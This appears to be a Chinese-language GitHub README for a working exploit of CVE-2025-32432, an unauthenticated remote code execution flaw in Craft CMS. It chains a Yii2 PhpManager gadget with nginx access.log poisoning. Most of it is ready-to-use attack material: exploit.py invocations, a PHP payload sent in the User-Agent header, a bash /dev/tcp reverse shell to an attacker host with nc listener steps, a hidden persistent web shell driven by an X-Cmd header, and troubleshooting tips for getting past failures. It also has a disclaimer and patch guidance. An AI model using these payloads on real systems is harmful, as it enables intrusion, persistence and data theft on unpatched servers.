
针对CVE-2025-32432的可运行PoC - 通过Yii2 PhpManager gadget和nginx access.log日志投毒实现的Craft CMS <= 5.6.16未认证RCE
针对 CVE-2025-32432 的可用概念验证 PoC,这是一个影响 Craft CMS 版本直至并包含 5.6.16 的未认证远程代码执行漏洞(在等效代码路径上也影响 4.x 和 3.x 分支)。
搜索关键词:CVE-2025-32432、Craft CMS RCE、Craft 5.6.16 exploit、
Yii2 PhpManager gadget、craftcms generate-transform、Component::__set as behavior、
nginx log poisoning Craft、unauth RCE craftcms 2025。
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
默认模式针对 vanilla Craft CMS 安装。--lab 标志用于
hacklab-platform 项目的
carangueijada-20 挑战,该挑战将 Craft 置于自定义会话 cookie 之后。
受影响组件:craft\controllers\AssetsController::actionGenerateTransform。
该 action 被注册为 allowAnonymous,因此不需要任何认证。它接受一个 POST 参数 handle,然后将其 展开(spread) 到 Craft::createObject() 调用中:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
当 $handle 是攻击者控制下的关联数组时,展开操作会将任意键注入构造函数配置。特别地,以 as 开头的键会被 yii\base\Component::__set 解释为行为(behavior)附加,该操作会在 任何类型检查之前 对值调用 Yii::createObject($config):
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Yii2 在 2.0.50 中的修复为此分支增加了 is_subclass_of($value['class'], Behavior::class) 检查;易受攻击的安装(Yii2 <= 2.0.49,或较早移除该补丁的版本)会完全跳过此守卫。
yii\rbac\PhpManagerPhpManager 是 Yii2 的库存类。它的 init() 调用 load(),而 load() 调用 loadFromFile($this->itemFile)。loadFromFile 实际上就是:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require 会将磁盘上的任何文件作为 PHP 解析。如果文件包含 <?php ... ?> 块,该块就会在 worker 中执行。通过将 itemFile 指向内容受攻击者控制的文件,即可实现完整的 RCE。
access.log跨安装环境最可靠的落点是 nginx 的 combined 格式 access.log。它会原样记录请求的 User-Agent,包括不可打印字符和大多数标点符号。通过发送一个 User-Agent 为 <?php system('id'); exit; ?> 的请求,攻击者就能在已知路径上植入 PHP 块。随后将 itemFile 指向 /var/log/nginx/access.log,require 便会处理该日志,按顺序执行每个 <?php ... ?> 块。
有两个细节需要注意:
" 转义为 \x22,这会破坏该行的 PHP 解析。请使用单引号或 chr() 拼接。exit;,这样 require 会在解析后续可能包含其他畸形 payload 的日志行之前中止。| 组件 | 受影响 |
|---|
Craft 5.6.17 对转换器类增加了 ImageTransformerInterface 检查。Yii2 2.0.50 在 Component::__set 中增加了 Behavior 子类检查。任一修复单独应用即可封堵这条具体的利用链。
requests 库(pip install -r requirements.txt)assetId。默认为 2;如有需要可用 -a <id> 覆盖(asset id 1 通常是管理员头像)。python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile(不同的日志路径、FPM session 等)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
hacklab-platform 的
carangueijada-20 实验环境将 Craft 安装放在由 PATCH /login 签发的 coopsess cookie 之后。--lab 标志会自动处理该握手过程。
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
确保 www.carangueijada.coop 能解析到实验环境的 IP(如有需要可添加到
/etc/hosts)。
--revshell 标志会触发一个 bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
反向连接,并以后台方式运行,使 gadget POST 立即返回。
双终端流程(最可靠):
# 终端 1 - 在你自己机器上监听
nc -lvnp 4444
# 终端 2 - 触发漏洞
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
带内置监听器的单终端流程:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen 会在触发 payload 之前,于同一终端中启动 nc -lvnp <lport>。完成后按 Ctrl+C 退出。
示例会话(实验环境):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# 在监听器中:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
稳定 Shell(连接后用,在反弹 shell 内部执行):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 按 Ctrl+Z 将 nc 切到后台
stty raw -echo; fg
# 按两次回车
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
首次运行时,漏洞利用程序会污染一次 access.log,在 /tmp/.cve32432_w.php 处放置一个隐藏的 PHP wrapper。该 wrapper 读取 X-Cmd HTTP 头并执行 system($_SERVER['HTTP_X_CMD'])。之后每次派发都会将 itemFile 指向该 wrapper 文件,并通过请求头传递命令。不再需要污染日志、不再产生日志污染、也不会再出现“第一个 <?php exit; 块先执行”导致的失败。
如果你想强制重新写入,请删除目标上的 /tmp/.cve32432_w.php(你可以直接通过 wrapper 自身完成:--cmd 'rm /tmp/.cve32432_w.php')。
对全新目标成功运行:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
日志被污染时的回退方案(目标之前已被利用过,较旧的 payload 会在你的 payload 之前退出):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform 到达
AssetsController::actionGenerateTransform。$config = ['class' => ImageTransform::class, ...$handle]。
我们的 handle[as gadget] 能在展开后保留下来。Craft::createObject($config) 调用
Yii::$container->get(ImageTransform::class, [], $config),它会实例化
ImageTransform,并通过 $transform->{$key} = $value 写入其余每个配置键。as gadget 时,Component::__set 匹配到 as 前缀,并调用
Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])。如果你只能可靠地运行 id(因为更旧的 exit; 污染已锁死利用链),一个可行的中继方法是让这条唯一的 id 级命令 向你可控的路径写入一个 PHP wrapper,然后将所有后续请求的 itemFile 改为该路径:
# 一次性污染,命令以 www-data 身份写入 /tmp/w.php
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# 将 CMD 编码为 chr() ...
然后调用:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
之后的每次派发都会读取 /tmp/w.php(一个干净 PHP 文件,我们的 payload 之前没有其他内容),并执行来自 X-Cmd 头的命令。如果你希望将其作为内置模式,可以自行修改脚本。
.
├── exploit.py # PoC
├── README.md # 本文件
├── requirements.txt # Python 依赖(仅 `requests`)
└── LICENSE # MIT
Component.php(存在漏洞的修订版):https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php本概念验证仅用于防御性研究、教育用途以及经授权的渗透测试。在大多数司法管辖区,对你不拥有或未经书面许可的系统运行它是非法的。作者对滥用行为不承担任何责任。
如果你维护着 Craft CMS 安装,请升级到 5.6.17 或更高版本(或相应的 4.x / 3.x 补丁版本)。该漏洞极容易被利用,并且已在 SensePost 记录的真实世界攻击活动中使用。
MIT。参见 LICENSE。
| 已修复 |
|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Yii::createObject 构造 PhpManager,执行 __construct(),然后执行 init()。PhpManager::init() -> load() -> loadFromFile($this->itemFile)
-> require '/var/log/nginx/access.log'。<?php ... ?> 块会在 worker 中执行。system($cmd) 和 exit;。输出会出现在响应体中 <?php 块原本所在的位置。| 症状 | 原因 | 修复方法 |
|---|
HTTP 400 + “could not verify your data submission” / “Pedido invalido” | CSRF 令牌未绑定到 POST 时使用的 cookie | 脚本使用单个 requests.Session;如果你重新实现,请确保 cookie jar 在 session-info 和 POST 之间保留了 CRAFT_CSRF_TOKEN。 |
/actions/... 返回 HTTP 403 | 路径前缀或 vhost 错误 | 使用 -p /prefix 匹配 Craft 挂载的位置;确保 Host 头与安装匹配。 |
csrfTokenValue 为空 / session-info 返回 HTML | Accept 头错误 | 脚本已经发送了 Accept: application/json;如果你把它移除,请恢复它。 |
| 输出从未显示你的命令 | access.log 中已有一个更旧的 <?php ... exit; ?> payload 会先执行 | 在目标上轮转/截断日志。如果你只能用 id 级别的 RCE,请等待下一次 logrotate,或者通过一个可写的 PHP 文件(例如 /tmp/wrapper.php,内容为 system($_SERVER['HTTP_X_CMD']);)进行中转,并将其用作后续的 itemFile。 |
assetId not found | 该安装环境中的 ID 不正确 | 浏览公开资产 URL 枚举 ID,或先试 -a 1,再试 -a 3..N。 |
| 目标已修复 | Craft >= 5.6.17 或 Yii2 >= 2.0.50 | 利用链已封堵;要么寻找另一个易受攻击的类,要么放弃。 |
| Payload 触发 PHP 致命错误 | 更旧的日志条目包含畸形 PHP,会在你的块之前破坏解析器 | 与日志污染的修复方法相同:轮转日志。 |